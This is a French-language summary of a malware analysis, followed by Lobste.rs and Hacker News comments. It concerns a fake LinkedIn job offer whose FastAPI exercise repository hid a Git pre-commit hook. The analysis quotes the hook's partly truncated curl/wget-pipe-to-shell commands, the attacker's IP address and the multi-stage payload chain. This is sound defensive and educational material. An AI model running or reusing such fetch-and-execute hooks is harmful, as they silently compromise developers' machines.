- Un faux recruteur a proposé sur LinkedIn un poste de développeur Python à distance payé 10 000 à 15 000 $ par mois, puis a envoyé un fichier ZIP déguisé en exercice FastAPI légitime, configuré pour installer un malware lors des opérations Git
- Le dépôt contenait, dans
.git/hooks, un hook pre-commit caché qui exécutait discrètement une charge utile distante propre à chaque système d’exploitation, et les opérations Git demandées dans le PDF de l’exercice servaient à pousser le candidat à le déclencher - La charge utile Linux téléchargeait un script de deuxième étape dans
~/Documents, l’exécutait avecnohup, puis installait Node.js, des dépendances et unparser.jsobfusqué pour le faire tourner en arrière-plan - En modifiant la valeur
id=402de la requête, un autre script était renvoyé ;package.jsonincluait notammentclipboardypour accéder au presse-papiers et l’environnement de développement Ethereumhardhat, mais l’objectif final n’a pas été confirmé - Les attaquants ont simplement ajouté des répertoires malveillants à un dépôt FastAPI public ; une autre variante exécutait des commandes dès l’ouverture du dossier dans VSCode. Avant de manipuler un projet externe, il faut vérifier les répertoires cachés et les réglages d’exécution automatique
Une offre d’emploi trop belle pour être vraie
- L’offre de poste de développeur Python arrivée via LinkedIn concernait un contrat remote-first payé 10 000 à 15 000 $ par mois, avec possibilité de conversion en CDI
- Le niveau de rémunération élevé était annoncé avant même tout entretien, et le montant, très important selon les standards indiens, constituait un premier signal d’alerte
- L’entreprise utilisée pour le recrutement a bien été identifiée comme une startup de Y Combinator, mais le doute subsistait : une société disposant d’un tel budget aurait généralement un processus de recrutement plus structuré
- Après l’envoi du CV, la candidature a été immédiatement approuvée, puis une archive ZIP et un PDF d’instructions pour l’exercice ont été transmis via Google Drive
- Le PDF demandait d’améliorer une base de code existante, de proposer une architecture et d’effectuer des opérations Git, ce qui ressemblait en apparence à un document d’évaluation classique
Un hook Git caché dans un projet FastAPI
- L’archive contenait un backend FastAPI ordinaire utilisant SQLAlchemy, et
requirements.txtne révélait aucun paquet manifestement malveillant ni cas de typosquatting - Pour vérifier les éléments cachés, l’exécution de
tree -aa révélé que plusieurs hooks Git étaient déjà configurés sous.git/hooks - Le script
pre-commitutilisaituname -spour détecter le système d’exploitation, puis téléchargeait et exécutait depuis le même serveur une charge utile spécifique à la plateforme- Sur macOS, il exécutait
curl .../task/mac?id=402 | sh - Sur Linux, il exécutait
wget .../task/linux?id=402 | sh - Sur les systèmes Windows, il exécutait
curl .../task/windows?id=402 | cmd
- Sur macOS, il exécutait
- Toute la sortie était redirigée vers
/dev/nullet le processus lancé en arrière-plan afin de cacher les traces d’exécution à l’utilisateur - L’utilisation directe de l’adresse IP brute
45.61.164.38:5777au lieu d’un domaine rendait le comportement malveillant encore plus visible
Une charge utile Linux en plusieurs étapes
- Le premier script Linux téléchargeait
tokenlinux.npldans~/Documents, le renommait entokenlinux.sh, puis lui accordait les droits d’exécution - Il lançait ensuite le script en arrière-plan avec
nohup bash, afin que le processus continue de fonctionner même après la fermeture du terminal ou la déconnexion - Le script de deuxième étape effectuait discrètement les opérations suivantes
- Installation de Node.js et configuration du chemin système
- Téléchargement de
parser.jsetpackage.json - Installation des dépendances npm nécessaires
- Exécution de
parser.jsavecnohup nodeet journalisation dansparser.log
parser.jsétait fortement obfusqué, au point d’être difficile à analyser manuellement, et le fichier original est conservé ici :parser.js
Possibilité d’identification par victime
- Le paramètre
id=402était envoyé à répétition aux endpoints, et en modifiant cette valeur, un script complètement différent était renvoyé - Il est possible que les attaquants aient attribué un identifiant unique à chaque candidat pour fournir des charges utiles personnalisées, mais le mécanisme réel de suivi n’a pas été confirmé
- Le code a été soumis à plusieurs LLM pour désobfuscation, avec des résultats divergents
- Claude a refusé l’analyse en raison de ses restrictions de sécurité
- Gemini a fourni un résultat d’analyse du script
- Une recherche sur l’extension originale
tokenlinux.npla confirmé un lien avec une campagne d’attaque plus large
Des dépendances Node.js suspectes
- Le projet dans
package.jsons’appelaittokendappet incluaithardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,request, entre autres - La raison de la présence de
clipboardy, destiné à accéder au presse-papiers, et de paquets liés au système de fichiers dans une tâche de configuration en arrière-plan n’était pas claire hardhatest un environnement de développement Ethereum, mais comme Ethereum a abandonné la preuve de travail, il est difficile d’affirmer qu’il s’agissait d’une configuration de minage classique- La possibilité d’une recherche de portefeuilles de cryptomonnaies ou d’interactions avec des extensions de navigateur locales a aussi été envisagée, mais l’objectif malveillant final n’a pas été confirmé
Une autre variante utilisant VSCode
- Une autre variante de la même attaque cachait un dossier
.vscodedans le fichier ZIP et le configurait pour exécuter une commande à l’ouverture du répertoire dans VSCode - Avec cette méthode, une infection peut se produire en ouvrant simplement le dossier, sans exécuter de commande Git ni lancer directement le code du projet
- Il a été confirmé que l’entreprise concernée n’était pas directement impliquée dans l’attaque : les attaquants avaient emprunté le nom d’une société trouvée pour rendre l’offre de recrutement crédible
Un camouflage fondé sur la réutilisation d’un dépôt public
git logne montrait pas un projet créé par les attaquants, mais conservait l’historique de commits de développeurs existants- L’original était le dépôt public
personal-finance-service - Les attaquants ont cloné un projet FastAPI légitime, puis ont seulement ajouté des répertoires cachés malveillants pour le faire passer pour une base de code d’exercice
- La structure était conçue de telle sorte qu’un examen limité au code légitime et à un
requirements.txtpropre pouvait laisser passer le comportement malveillant
Enquête sur le serveur d’attaque et limites
- Un scan Nmap du serveur d’attaque a montré trois ports ouverts, dont deux ne répondaient pas à la détection de version
- Le port 22 exécutait OpenSSH 9.6p1 sur Ubuntu
- Au moment du scan, cette version n’était sortie que depuis un peu plus d’une semaine, aucun CVE exploitable connu n’a donc été trouvé, et il était difficile d’étendre l’enquête à l’intérieur du serveur
- Le mode de distribution du malware était visible, mais la sécurité opérationnelle du serveur était relativement bien maintenue, ce qui a interrompu le suivi à ce stade
Le rôle joué par l’exercice Git
- Les tâches Git du PDF avaient pour but d’inciter le candidat à exécuter au moins une commande Git, afin de déclencher le hook préinstallé
- Le faux recruteur semble avoir supprimé son compte LinkedIn peu après avoir été contacté au sujet de la découverte de l’attaque
- Avant d’exécuter un projet inconnu ou de lancer des commandes Git, il faut vérifier les répertoires cachés et les réglages d’exécution automatique comme
.gitet.vscodeà l’aide d’outils tels quetree -a
2 commentaires
Avis sur Lobste.rs
En vérifiant l’adresse IP fournie, 45.61.164.38, elle est hébergée chez RouterHosting, sous Cloudzy, sur l’AS14956, et ne recoupe pas les listes de blocage anti-spam de wiki que je garde habituellement ouvertes.
Un signalement d’abus pourrait peut-être aider.
Je n’ai jamais été la cible d’une campagne d’arnaque personnalisée ; je n’ai reçu que du spam générique et de vraies offres d’emploi de mauvaise qualité, donc je suis un peu vexé.
Même pas de phishing demandant un niveau d’effort intermédiaire.
Les garde-fous de Claude sont beaucoup trop agaçants.
Les vrais utilisateurs malveillants ont une forte motivation pour les contourner, tandis que les utilisateurs ordinaires qui essaient de comprendre le contenu se font bloquer trop facilement et n’ont aucune raison de continuer à insister.
Après une longue recherche d’emploi, j’ai vu toutes sortes de situations absurdes, comme des demandes de livrables gratuits ou des tentatives de pirater les candidats, et ce cas-ci semble particulièrement flagrant.
En général, je refuse les processus avec exercice à rendre et production de livrables gratuits, et je propose à la place de présenter un portfolio pertinent sur GitHub ou sur mon blog personnel, ou de réaliser l’implémentation en direct lors d’une session de pair programming.
Le portfolio évite le conseil gratuit tout en montrant mon domaine d’expertise et mon expérience concrète, ce qui permet de me mettre en relation avec des opportunités plus adaptées ; l’implémentation en direct ressemble à un entretien technique classique ou à une discussion de conception système.
S’ils refusent les deux, même avec quelques faux positifs, cela filtre beaucoup plus de vrais signaux d’alerte, donc je me retire du processus d’entretien.
Je suis le principe suivant : « Si la preuve de mes compétences n’est pas recevable comme preuve devant le tribunal de cette organisation, je n’ai pas envie d’y travailler. »
Quand un site web lance automatiquement de la musique sans autorisation, c’est très agaçant.
Il m’a fallu quelques secondes pour trouver la source de la gêne et Firefox permettait facilement de couper le son de l’onglet, mais ce ne devrait pas être à l’utilisateur de gérer ça au départ.
L’analyse est intéressante, mais continuer l’enquête dans une machine virtuelle dédiée juste après avoir découvert le malware me semble aussi être une approche qui accepte un niveau de risque assez élevé.
Même pour un pentester expérimenté, un bref moment d’inattention peut causer de gros dégâts ; une prudence frôlant légèrement la paranoïa est donc concrètement utile.
hardhatpeut se connecter à un RPC Ethereum distant ou exécuter un fork local simulé consommant très peu de ressources.Les objectifs possibles semblent être au nombre de deux : le vol de clés privées de portefeuilles non protégés et une attaque de l’homme du milieu (MITM) visant les portefeuilles matériels.
Le premier est une technique simple, courante aussi dans des mods Minecraft par exemple ; si l’on possède déjà la clé privée, l’attaque peut se faire sans interaction de l’utilisateur, donc
hardhatn’est vraiment nécessaire que pour préexécuter des transactions à titre d’essai.Le second exploite l’architecture dans laquelle une extension de navigateur propage les transactions signées via un serveur RPC hébergé.
Pendant que l’utilisateur pense effectuer une transaction normale sur un site web de confiance, le serveur RPC la remplace par une charge utile malveillante ; si l’utilisateur signe sans vérifier correctement le contenu sur son portefeuille matériel, l’attaquant peut l’exécuter.
Avis sur Hacker News
Ce n’est qu’après avoir lu cet article que j’ai compris que j’avais été piraté d’une manière bien plus sophistiquée.
Il y a quelques semaines, j’ai passé un entretien avec le CTO d’une vraie entreprise : il avait la caméra coupée et un fort accent, mais l’entretien semblait naturel et il maîtrisait bien la technique. Lors de l’entretien technique, il m’a dit qu’il fallait modifier un projet open source de l’entreprise et m’a demandé de cloner le dépôt et de vérifier l’environnement de développement.
Ensuite, la personne des RH m’a dit que l’entretien était reporté parce que le CTO était malade, et quelques jours plus tard, son profil LinkedIn a lui aussi été supprimé. Après avoir vu cet article, j’ai vérifié : le dépôt que j’avais cloné et exécuté pendant l’entretien contenait une charge utile malveillante.
J’ai probablement été ciblé parce que j’ai autrefois maintenu un package NPM à plus de 43 millions de téléchargements hebdomadaires. J’avais activé l’authentification à deux facteurs sur tous mes comptes et je publiais aussi mes packages NPM manuellement, sans jeton, mais je vais devoir réinitialiser mon ordinateur portable et tout réinstaller.
J’ai cherché des témoignages similaires sur HN, mais je n’ai rien trouvé mentionnant un appel Google Meet avec les escrocs.
Une entreprise sérieuse en tiendra compte, et si elle refuse, c’est qu’on aura évité un risque. Maintenant que les LLM sont largement utilisés pour générer du code, cela devrait être possible avec n’importe quelle stack technique.
Il semble que les attaques nord-coréennes visant les développeurs se soient multipliées récemment. En plus de ces méthodes qui existent depuis des années, je reçois environ une fois par semaine un e-mail d’un hacker nord-coréen disant « j’ai vu votre profil, voudriez-vous collaborer ? ».
Dans les communautés Discord de programmation aussi, beaucoup de comptes demandent un emploi ou une collaboration quelques jours après leur arrivée. Il peut s’agir de vrais chercheurs d’emploi, mais le volume et la similarité des messages sont suspects ; et comme ils vont jusqu’à des communautés de bibliothèques Python peu connues et presque inactives, ils semblent scraper des listes de communautés Discord pour contacter tout le monde sans distinction.
Les attaques qui exploitent la confiance entre individus se multiplient ; comme le disaient nos parents, il faut ne pas faire confiance aux inconnus sur Internet.
La technique consistant à vérifier le système d’exploitation de la victime puis à exécuter discrètement une charge utile distante se répète, et un article similaire était déjà en une le mois dernier.
https://news.ycombinator.com/item?id=48546294
Une adresse IP brute donne fortement l’impression d’un malware, mais une victime qui est allée assez loin pour examiner le contenu des hooks ne s’arrêterait sans doute pas à ce soupçon. La plupart des développeurs ne pensent probablement pas que
git commitpeut exécuter un comportement malveillant ; je me demande si c’est une faille de sécurité de Git.Au final, ce qui ressort surtout, c’est qu’à cause de toutes ses protections, Claude était totalement inutile comme assistant.
L’utilisation d’une IP brute peut viser à ne pas laisser d’informations d’identité auprès d’un registrar de domaine, ou à minimiser les traces en ligne.
La plupart des captures d’écran ne s’ouvraient pas directement, il fallait les consulter dans un nouvel onglet.
Cette arnaque est assez subtile, et beaucoup de candidats ont probablement déjà été piégés ; le projet Visual Studio Code mentionné dans l’article semble encore plus dangereux. Si du code utilisateur peut s’exécuter simplement en ouvrant le projet, c’est clairement un vecteur de malware et il faut des mesures d’atténuation.
La réaction des sites de recrutement est aussi insuffisante. Si quelqu’un prétend appartenir à une entreprise ou une institution, on pourrait exiger une preuve d’emploi, et le simple fait d’afficher un gros avertissement sur les messages de comptes non vérifiés rendrait beaucoup d’arnaques plus difficiles. Aujourd’hui, n’importe qui peut prétendre avoir travaillé dans telle entreprise ou étudié dans telle école.
Ça fait plaisir de voir un article sur un vrai piratage arriver en première page de Hacker News.
http://www.catb.org/jargon/html/H/hacker.html
Il désigne une personne qui explore les détails et les limites des systèmes programmables, et qui prend particulièrement plaisir à comprendre en profondeur le fonctionnement interne des ordinateurs et des réseaux. Il désigne aussi quelqu’un qui programme avec passion, parfois avec acharnement, sans se limiter à la théorie.
Si LinkedIn prenait vraiment la lutte contre les arnaques au sérieux, il pourrait proposer une vérification par e-mail professionnel lorsqu’on indique son poste actuel. Si la rendre obligatoire est trop lourd, on pourrait au moins permettre aux recruteurs qui veulent prouver leur légitimité de se faire vérifier volontairement.
On devrait encore voir des choses similaires visant le marché du recrutement IA et la demande autour des LLM et de l’automatisation.
Ce type d’attaque risque de devenir de plus en plus courant. Les attaquants ont fait des recherches approfondies et leur méthode est vicieuse, mais il faut reconnaître leur niveau de finition technique ; leur taux de réussite réel doit probablement être assez élevé.